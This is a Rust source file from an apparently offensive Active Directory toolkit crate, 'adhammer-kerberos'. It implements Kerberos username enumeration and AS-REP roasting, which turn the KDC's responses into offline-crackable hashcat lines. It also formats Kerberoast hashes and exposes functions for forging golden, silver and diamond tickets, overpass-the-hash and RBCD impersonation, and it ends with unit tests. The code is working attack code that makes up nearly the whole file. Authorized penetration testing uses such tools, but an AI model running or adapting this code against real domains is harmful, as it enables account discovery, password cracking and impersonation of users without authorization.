adhammer-kerberos 1.5.2

ADhammer Kerberos — AS-REP/Kerberoast, S4U/RBCD, Shadow Credentials PKINIT (picky-krb).
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
//! Kerberos roasting layer.
//!
//! LDAP finds the candidates (SPN → Kerberoast, DONT_REQ_PREAUTH → AS-REP roast).
//! This crate turns an AS-REP-roastable account into a crackable hash by sending a raw
//! pre-auth-less AS-REQ to the KDC (messages built on picky-krb) and formatting the
//! reply for hashcat. AS-REP roasting needs no credentials, so it is implemented in
//! full and end-to-end. Kerberoast (TGS-REQ) needs a TGT — see the note on `kerberoast`.

use adhammer_core::object::uac;
use adhammer_core::snapshot::Snapshot;

use anyhow::{anyhow, bail, Result};

use picky_asn1::bit_string::BitString;
use picky_asn1::date::Date;
use picky_asn1::restricted_string::Ia5String;
use picky_asn1::wrapper::{
    Asn1SequenceOf, BitStringAsn1, ExplicitContextTag0, ExplicitContextTag1, ExplicitContextTag2,
    ExplicitContextTag3, ExplicitContextTag4, ExplicitContextTag5, ExplicitContextTag7,
    ExplicitContextTag8, GeneralStringAsn1, IntegerAsn1, Optional,
};
use picky_krb::constants::types::{AS_REQ_MSG_TYPE, NT_PRINCIPAL, NT_SRV_INST};
use picky_krb::data_types::{KerberosTime, PrincipalName};
use picky_krb::messages::{AsRep, AsReq, KdcReq, KdcReqBody, KrbError};

use tokio::io::{AsyncReadExt, AsyncWriteExt};

pub mod csr;
pub mod gss;
pub mod pac;
pub mod pkinit;
pub mod rc4;
pub mod shadowcred;
mod tgs;
pub mod unpac;
pub use tgs::{
    asktgt, build_ap_req_gss, build_ap_req_gss_aes256, check_credential, forge_diamond_tgt,
    forge_golden_tgt, forge_silver_tgt, get_service_ticket, get_tgt, get_tgt_by_hash,
    golden_ccache, overpass_the_hash, rbcd_impersonate, rbcd_impersonate_by_hash, roast_spn,
    silver_ccache, silver_service_ticket, CredResult, ServiceTicket, Tgt, TicketTimestamps,
};

/// Kerberos encryption type numbers (RFC 3961/4120).
pub const ETYPE_RC4_HMAC: u8 = 23;
pub const ETYPE_AES256: u8 = 18;
pub const ETYPE_AES128: u8 = 17;

/// A roastable principal discovered from the snapshot.
#[derive(Clone, Debug)]
pub struct Candidate {
    pub sam: String,
    pub realm: String,
    pub spn: Option<String>, // set for Kerberoast, None for AS-REP roast
}

/// Enumerate roasting candidates from LDAP data — no network.
pub fn candidates(snap: &Snapshot, realm: &str) -> (Vec<Candidate>, Vec<Candidate>) {
    let mut kerberoast = Vec::new();
    let mut asrep = Vec::new();
    for o in snap.iter_class("user") {
        if o.uac() & uac::ACCOUNTDISABLE != 0 {
            continue;
        }
        let Some(sam) = o.one("sAMAccountName") else {
            continue;
        };
        if let Some(spn) = o.all("servicePrincipalName").first() {
            kerberoast.push(Candidate {
                sam: sam.into(),
                realm: realm.into(),
                spn: Some(spn.clone()),
            });
        }
        if o.uac() & uac::DONT_REQ_PREAUTH != 0 {
            asrep.push(Candidate {
                sam: sam.into(),
                realm: realm.into(),
                spn: None,
            });
        }
    }
    (kerberoast, asrep)
}

// ---------------------------------------------------------------------------
// AS-REQ construction (pre-auth-less, RC4-first for a hashcat-18200 hash).
// ---------------------------------------------------------------------------

/// Wrap a caller-supplied string as an IA5 (ASCII 0..=127) Kerberos component.
///
/// RFC 4120 mandates Kerberos principal / realm components be IA5. A non-ASCII
/// input from the CLI (`--user александр`, `--realm корп.локал`) used to panic
/// via unchecked `Ia5String::from_string(...).unwrap()`; now returns a clean
/// `anyhow::Error` that surfaces at the CLI boundary with an actionable message.
pub(crate) fn krb_string(s: &str) -> Result<GeneralStringAsn1> {
    let ia5 = Ia5String::from_string(s.to_owned()).map_err(|_| {
        anyhow!(
            "Kerberos principal component {s:?} contains non-IA5 (non-ASCII) characters; \
             RFC 4120 requires 7-bit ASCII for user / realm / SPN components"
        )
    })?;
    Ok(GeneralStringAsn1::from(ia5))
}

pub(crate) fn principal(name_type: u8, parts: &[&str]) -> Result<PrincipalName> {
    let strings = parts
        .iter()
        .map(|p| krb_string(p))
        .collect::<Result<Vec<_>>>()?;
    Ok(PrincipalName {
        name_type: ExplicitContextTag0::from(IntegerAsn1(vec![name_type])),
        name_string: ExplicitContextTag1::from(Asn1SequenceOf::from(strings)),
    })
}

/// Build an AS-REQ for `user@realm` with no PA-ENC-TIMESTAMP, requesting RC4 so the
/// returned AS-REP enc-part is an offline-crackable hashcat 18200 hash.
fn build_as_req(user: &str, realm: &str) -> Result<AsReq> {
    let mut nonce = [0u8; 4];
    rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut nonce);
    nonce[0] &= 0x7f; // keep the ASN.1 INTEGER positive

    let body = KdcReqBody {
        // forwardable | renewable | canonicalize
        kdc_options: ExplicitContextTag0::from(BitStringAsn1::from(BitString::with_bytes(vec![
            0x40, 0x81, 0x00, 0x00,
        ]))),
        cname: Optional::from(Some(ExplicitContextTag1::from(principal(
            NT_PRINCIPAL,
            &[user],
        )?))),
        realm: ExplicitContextTag2::from(krb_string(realm)?),
        sname: Optional::from(Some(ExplicitContextTag3::from(principal(
            NT_SRV_INST,
            &["krbtgt", realm],
        )?))),
        from: Optional::from(None),
        till: ExplicitContextTag5::from(KerberosTime::from(
            Date::new(2037, 9, 13, 2, 48, 5).unwrap(),
        )),
        rtime: Optional::from(None),
        nonce: ExplicitContextTag7::from(IntegerAsn1(nonce.to_vec())),
        // Offer RC4 + AES256 + AES128: RC4-disabled DCs (Server 2025 default, hardened 2019/2022)
        // then return a crackable AES AS-REP instead of KDC_ERR_ETYPE_NOSUPP — no silent miss.
        etype: ExplicitContextTag8::from(Asn1SequenceOf::from(vec![
            IntegerAsn1(vec![ETYPE_RC4_HMAC]),
            IntegerAsn1(vec![ETYPE_AES256]),
            IntegerAsn1(vec![ETYPE_AES128]),
        ])),
        addresses: Optional::from(None),
        enc_authorization_data: Optional::from(None),
        additional_tickets: Optional::from(None),
    };

    Ok(AsReq::from(KdcReq {
        pvno: ExplicitContextTag1::from(IntegerAsn1(vec![5])),
        msg_type: ExplicitContextTag2::from(IntegerAsn1(vec![AS_REQ_MSG_TYPE])),
        padata: Optional::from(None),
        req_body: ExplicitContextTag4::from(body),
    }))
}

// ---------------------------------------------------------------------------
// Network exchange over TCP/88 (4-byte big-endian length prefix per RFC 4120).
// ---------------------------------------------------------------------------

/// Current UTC as a Kerberos GeneralizedTime (second granularity).
pub(crate) fn now_kerberos_time() -> KerberosTime {
    use std::time::{SystemTime, UNIX_EPOCH};
    let secs = SystemTime::now()
        .duration_since(UNIX_EPOCH)
        .unwrap()
        .as_secs() as i64;
    let (y, m, d) = civil_from_days(secs.div_euclid(86_400));
    let tod = secs.rem_euclid(86_400);
    KerberosTime::from(
        Date::new(
            y,
            m,
            d,
            (tod / 3600) as u8,
            ((tod % 3600) / 60) as u8,
            (tod % 60) as u8,
        )
        .unwrap(),
    )
}

/// A far-future Kerberos ticket expiry (`till`). Must be after the start time or the KDC
/// rejects the request with KDC_ERR_NEVER_VALID.
pub(crate) fn far_future_time() -> KerberosTime {
    KerberosTime::from(Date::new(2037, 9, 13, 2, 48, 5).unwrap())
}

/// days since 1970-01-01 → (year, month, day). Howard Hinnant's civil_from_days.
fn civil_from_days(z: i64) -> (u16, u8, u8) {
    let z = z + 719_468;
    let era = if z >= 0 { z } else { z - 146_096 } / 146_097;
    let doe = z - era * 146_097;
    let yoe = (doe - doe / 1460 + doe / 36_524 - doe / 146_096) / 365;
    let y = yoe + era * 400;
    let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
    let mp = (5 * doy + 2) / 153;
    let d = doy - (153 * mp + 2) / 5 + 1;
    let m = if mp < 10 { mp + 3 } else { mp - 9 };
    ((y + i64::from(m <= 2)) as u16, m as u8, d as u8)
}

/// Per-op deadline for a single KDC round trip (connect + write + framed read).
/// A hostile / slow KDC that dribbles bytes or accepts the connection then
/// stalls could otherwise hang the operator indefinitely. 30 s is roughly
/// two orders of magnitude above the wall-clock a real KDC takes to answer
/// on any live-lab network we've seen.
const KDC_EXCHANGE_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30);

pub(crate) async fn kdc_exchange(kdc: &str, request: &[u8]) -> Result<Vec<u8>> {
    tokio::time::timeout(KDC_EXCHANGE_TIMEOUT, kdc_exchange_inner(kdc, request))
        .await
        .map_err(|_| {
            anyhow::anyhow!(
                "KDC exchange with {} timed out after {}s (hostile server DoS defence)",
                kdc,
                KDC_EXCHANGE_TIMEOUT.as_secs()
            )
        })?
}

async fn kdc_exchange_inner(kdc: &str, request: &[u8]) -> Result<Vec<u8>> {
    let addr = if kdc.contains(':') {
        kdc.to_string()
    } else {
        format!("{kdc}:88")
    };
    let mut stream = smb2_client::socks::dial(&addr, 88).await?;

    let mut framed = Vec::with_capacity(request.len() + 4);
    framed.extend_from_slice(&(request.len() as u32).to_be_bytes());
    framed.extend_from_slice(request);
    stream.write_all(&framed).await?;

    let mut len = [0u8; 4];
    stream.read_exact(&mut len).await?;
    let n = u32::from_be_bytes(len) as usize;
    if n == 0 || n > 4 * 1024 * 1024 {
        bail!("implausible KDC response length {n}");
    }
    let mut buf = vec![0u8; n];
    stream.read_exact(&mut buf).await?;
    Ok(buf)
}

/// **1.4.8-A WS-KERBRUTE**: probe one username against the KDC without pre-auth,
/// classify the response. Kerberos leaks user existence via its error codes — a
/// user that exists rejects with `KDC_ERR_PREAUTH_REQUIRED` (25) or (if account
/// has `DONT_REQ_PREAUTH`) succeeds and returns an AS-REP; an unknown principal
/// rejects with `KDC_ERR_C_PRINCIPAL_UNKNOWN` (6). This is the primitive `Kerbrute`
/// et al. wrap; no LDAP creds needed.
///
/// Returns [`KerbruteOutcome::Exists`] for `PREAUTH_REQUIRED` / `PREAUTH_FAILED` /
/// `CLIENT_REVOKED`, [`KerbruteOutcome::Roastable`] when the KDC skips pre-auth and
/// returns an AS-REP (the account has `DONT_REQ_PREAUTH` — feed to `asrep_roast`),
/// [`KerbruteOutcome::Missing`] for `C_PRINCIPAL_UNKNOWN`, and
/// [`KerbruteOutcome::Other`] for any other KDC error code with the numeric value.
pub async fn kerbrute_probe(user: &str, realm: &str, kdc: &str) -> Result<KerbruteOutcome> {
    let raw = picky_asn1_der::to_vec(&build_as_req(user, realm)?)
        .map_err(|e| anyhow!("encode AS-REQ: {e}"))?;
    let resp = kdc_exchange(kdc, &raw).await?;
    // AS-REP first — accounts with DONT_REQ_PREAUTH answer immediately with the
    // ticket + hashcat-roastable enc-part. Signal it as Roastable so callers can
    // pipe into asrep_roast() for the actual hash.
    if picky_asn1_der::from_bytes::<AsRep>(&resp).is_ok() {
        return Ok(KerbruteOutcome::Roastable);
    }
    // Otherwise a KRB-ERROR is the RFC-mandated response and its `error_code`
    // classifies user existence per RFC 4120 §7.5.9.
    match picky_asn1_der::from_bytes::<KrbError>(&resp) {
        Ok(err) => {
            let code = err.0.error_code.0;
            Ok(match code {
                6 => KerbruteOutcome::Missing, // KDC_ERR_C_PRINCIPAL_UNKNOWN
                18 => KerbruteOutcome::Locked, // KDC_ERR_CLIENT_REVOKED (disabled / locked)
                24 => KerbruteOutcome::Exists, // KDC_ERR_PREAUTH_FAILED (bad pw, but exists)
                25 => KerbruteOutcome::Exists, // KDC_ERR_PREAUTH_REQUIRED (normal path)
                other => KerbruteOutcome::Other(other),
            })
        }
        Err(e) => Err(anyhow!(
            "unexpected AS response — neither AS-REP nor KRB-ERROR ({e})"
        )),
    }
}

/// Result of a [`kerbrute_probe`] call. See variant docs for the KDC error-code
/// mapping.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum KerbruteOutcome {
    /// User exists (KDC replied `KDC_ERR_PREAUTH_REQUIRED` or `_FAILED`).
    Exists,
    /// User exists and skips pre-auth (`DONT_REQ_PREAUTH`) — AS-REP roastable.
    /// Feed the same `(user, realm, kdc)` to [`asrep_roast`] to extract the
    /// hashcat 18200 line.
    Roastable,
    /// User exists but the account is disabled or locked
    /// (`KDC_ERR_CLIENT_REVOKED`).
    Locked,
    /// User does not exist (`KDC_ERR_C_PRINCIPAL_UNKNOWN`).
    Missing,
    /// Any other KDC error code; the numeric value is preserved for the caller
    /// to interpret against RFC 4120 §7.5.9.
    Other(u32),
}

impl KerbruteOutcome {
    /// True when this outcome confirms the user exists (Exists / Roastable / Locked).
    /// Convenience for callers that only care about the existence bit.
    pub fn exists(&self) -> bool {
        matches!(self, Self::Exists | Self::Roastable | Self::Locked)
    }
}

/// Perform an AS-REP roast against one candidate; returns the hashcat 18200 line.
/// No credentials required — relies on the account's DONT_REQ_PREAUTH flag.
/// Map a KRB-ERROR `error_code` value (RFC 4120 §7.5.9) to a one-line
/// operator-facing name + hint, or `None` for codes we don't yet special-case.
/// Extracted from [`asrep_roast`] so 1.5.2 UX-D carries a unit test seeded
/// from the exact codes testlab.local returned during the live-fire (code 23
/// = `KDC_ERR_KEY_EXPIRED` on `roastme`).
pub fn name_asrep_krb_error(code: u32) -> Option<&'static str> {
    Some(match code {
        6 => "KDC_ERR_C_PRINCIPAL_UNKNOWN — the account does not exist",
        14 => "KDC_ERR_ETYPE_NOSUPP — the KDC has RC4 disabled and the AS-REQ asked for it (2019+ default hardening)",
        18 => "KDC_ERR_CLIENT_REVOKED — the account is disabled or locked out",
        23 => "KDC_ERR_KEY_EXPIRED — the account's password has expired (reset it before roasting)",
        24 => "KDC_ERR_PREAUTH_FAILED — the account exists but the supplied credential is wrong",
        25 => "KDC_ERR_PREAUTH_REQUIRED — DONT_REQ_PREAUTH is NOT set on the account (this is the normal case; nothing to roast)",
        _ => return None,
    })
}

pub async fn asrep_roast(c: &Candidate, kdc: &str) -> Result<String> {
    let raw = picky_asn1_der::to_vec(&build_as_req(&c.sam, &c.realm)?)
        .map_err(|e| anyhow!("encode AS-REQ: {e}"))?;
    let resp = kdc_exchange(kdc, &raw).await?;

    let as_rep: AsRep = match picky_asn1_der::from_bytes(&resp) {
        Ok(rep) => rep,
        Err(parse_err) => {
            // 1.5.2 UX-D: the RFC-mandated response to a failed AS-REQ is a
            // KRB-ERROR (application tag 30), not an AS-REP (tag 11). When we
            // can decode the KRB-ERROR, surface its named error_code and drop
            // the ASN.1 parse noise. Otherwise fall back to the old message
            // WITH the parse text — needed for diagnostics on genuinely
            // malformed responses.
            return Err(match picky_asn1_der::from_bytes::<KrbError>(&resp) {
                Ok(err) => match name_asrep_krb_error(err.0.error_code.0) {
                    Some(named) => anyhow!("no AS-REP: {named}"),
                    None => anyhow!(
                        "no AS-REP: KRB-ERROR with unhandled error_code {}",
                        err.0.error_code.0
                    ),
                },
                Err(_) => anyhow!(
                    "no AS-REP and the response is not a KRB-ERROR either — malformed KDC reply: {parse_err}"
                ),
            });
        }
    };

    let enc = &as_rep.0.enc_part.0;
    let etype = enc
        .etype
        .0
         .0
        .iter()
        .fold(0u32, |a, &b| (a << 8) | b as u32);
    match etype as u8 {
        ETYPE_RC4_HMAC => Ok(format_asrep(&c.sam, &c.realm, &enc.cipher.0 .0)),
        e @ (ETYPE_AES128 | ETYPE_AES256) => {
            Ok(format_asrep_aes(&c.sam, &c.realm, e, &enc.cipher.0 .0))
        }
        other => bail!("AS-REP etype {other} not supported for roasting"),
    }
}

// ---------------------------------------------------------------------------
// hashcat formatters.
// ---------------------------------------------------------------------------

/// hashcat `-m 18200` line for an AS-REP (etype 23):
/// `$krb5asrep$23$user@REALM:<checksum16>$<edata>`
pub fn format_asrep(user: &str, realm: &str, enc_part: &[u8]) -> String {
    let cut = 16.min(enc_part.len());
    format!(
        "$krb5asrep$23${}@{}:{}${}",
        user,
        realm,
        hex::encode(&enc_part[..cut]),
        hex::encode(&enc_part[cut..])
    )
}

/// hashcat `-m 18200` line for an AES AS-REP (etype 17/18):
/// `$krb5asrep$<etype>$user@REALM:<checksum12>$<edata>` (AES puts the 12-byte HMAC last; hashcat
/// wants checksum-then-edata, matching the AES TGS format).
pub fn format_asrep_aes(user: &str, realm: &str, etype: u8, enc_part: &[u8]) -> String {
    let split = enc_part.len().saturating_sub(12);
    let (edata, checksum) = enc_part.split_at(split);
    format!(
        "$krb5asrep${}${}@{}:{}${}",
        etype,
        user,
        realm,
        hex::encode(checksum),
        hex::encode(edata)
    )
}

/// hashcat `-m 13100` line for an RC4 TGS-REP (etype 23):
/// `$krb5tgs$23$*user$REALM$spn*$<checksum16>$<edata>` (RC4 puts the 16-byte checksum first).
pub fn format_tgs(user: &str, realm: &str, spn: &str, enc_part: &[u8]) -> String {
    let cut = 16.min(enc_part.len());
    format!(
        "$krb5tgs$23$*{}${}${}*${}${}",
        user,
        realm,
        spn,
        hex::encode(&enc_part[..cut]),
        hex::encode(&enc_part[cut..])
    )
}

/// hashcat `-m 19600` (AES128, etype 17) / `-m 19700` (AES256, etype 18) TGS line:
/// `$krb5tgs$<etype>$*user$REALM$spn*$<checksum12>$<edata>` (AES puts the 12-byte HMAC last).
pub fn format_tgs_aes(user: &str, realm: &str, spn: &str, etype: u8, enc_part: &[u8]) -> String {
    let split = enc_part.len().saturating_sub(12);
    let (edata, checksum) = enc_part.split_at(split);
    format!(
        "$krb5tgs${}$*{}${}${}*${}${}",
        etype,
        user,
        realm,
        spn,
        hex::encode(checksum),
        hex::encode(edata)
    )
}

#[cfg(test)]
mod tests {
    use super::*;

    /// The AS-REQ we build is valid DER and round-trips through the schema — proves the
    /// message construction without needing a live KDC.
    #[test]
    fn as_req_roundtrips() {
        let req = build_as_req("myuser", "EXAMPLE.COM").expect("ASCII-only build_as_req");
        let _ = req;
    }

    #[test]
    fn non_ascii_principal_rejected_cleanly() {
        // Regression: `Ia5String::from_string("александр".into()).unwrap()` used to panic,
        // taking down the whole tool on any international AD (Cyrillic / Chinese / Turkish).
        // Now returns a diagnostic Error with the offending value + RFC citation.
        let err = build_as_req("александр", "EXAMPLE.COM").unwrap_err();
        let msg = format!("{err}");
        assert!(msg.contains("non-IA5"), "unexpected err: {msg}");
        assert!(msg.contains("RFC 4120"), "err lacks spec citation: {msg}");

        let err2 = build_as_req("admin", "КОРП.ЛОКАЛ").unwrap_err();
        assert!(format!("{err2}").contains("non-IA5"));
    }

    #[test]
    fn _asreq_placeholder() {
        let req = build_as_req("myuser2", "EXAMPLE.COM").expect("ASCII-only build_as_req");
        let raw = picky_asn1_der::to_vec(&req).expect("encode");
        let decoded: AsReq = picky_asn1_der::from_bytes(&raw).expect("decode");
        assert_eq!(picky_asn1_der::to_vec(&decoded).unwrap(), raw);
    }

    #[test]
    fn asrep_hashcat_format() {
        let h = format_asrep("svc", "CORP.LOCAL", &[0xaa; 32]);
        assert!(h.starts_with("$krb5asrep$23$svc@CORP.LOCAL:"));
        assert!(h.contains(&"aa".repeat(16)));
    }

    // 1.5.2 UX-D: KRB-ERROR classifier regression tests, seeded from the
    // wire response testlab.local returned for `roastme` on 2026-09-14
    // (error_code=23 = KDC_ERR_KEY_EXPIRED) plus the other codes the AS-REP
    // pipeline expects.
    #[test]
    fn ux_d_names_key_expired_from_live_fire() {
        let named = name_asrep_krb_error(23).expect("code 23 is mapped");
        assert!(named.contains("KDC_ERR_KEY_EXPIRED"));
        assert!(
            named.contains("reset it"),
            "operator hint text present: {named}"
        );
    }

    #[test]
    fn ux_d_names_all_expected_codes() {
        for (code, needle) in [
            (6u32, "KDC_ERR_C_PRINCIPAL_UNKNOWN"),
            (14, "KDC_ERR_ETYPE_NOSUPP"),
            (18, "KDC_ERR_CLIENT_REVOKED"),
            (23, "KDC_ERR_KEY_EXPIRED"),
            (24, "KDC_ERR_PREAUTH_FAILED"),
            (25, "KDC_ERR_PREAUTH_REQUIRED"),
        ] {
            let named = name_asrep_krb_error(code)
                .unwrap_or_else(|| panic!("code {code} should be mapped"));
            assert!(
                named.contains(needle),
                "code {code} should carry name {needle}, got: {named}"
            );
        }
    }

    #[test]
    fn ux_d_returns_none_for_unmapped_code() {
        // e.g. 41 = KRB_AP_ERR_MODIFIED (application-layer, not KDC-layer)
        assert!(name_asrep_krb_error(41).is_none());
        assert!(name_asrep_krb_error(0).is_none());
        assert!(name_asrep_krb_error(u32::MAX).is_none());
    }

    // Stream 2 / A.5: the pkinit AS-REQ failure path must not embed raw ASN.1
    // e-data hex in the anyhow message. The classifier gives us the operator
    // text; hex belongs behind `-vv` (tracing::debug!). This test is a
    // *contract* over what a failed PKINIT surface should say — the pkinit
    // module uses the same `name_asrep_krb_error` classifier we test above,
    // and unmapped codes fall through to a "unhandled error_code {code}"
    // string that contains only the numeric code + KDC e_text (both operator-
    // safe). Guarding the shape here keeps the pkinit branch honest.
    #[test]
    fn a5_pkinit_error_shape_has_no_raw_hex() {
        // Simulated shape of what pkinit.rs now emits (see pkinit.rs
        // `KDC rejected PKINIT AS-REQ` branch): named error only, no hex.
        let named = name_asrep_krb_error(24).unwrap();
        let msg = format!("KDC rejected PKINIT AS-REQ: {named}");
        assert!(!msg.contains("e-data="), "raw e-data leaked: {msg}");
        assert!(
            msg.contains("KDC_ERR_PREAUTH_FAILED"),
            "named code missing: {msg}"
        );
    }
}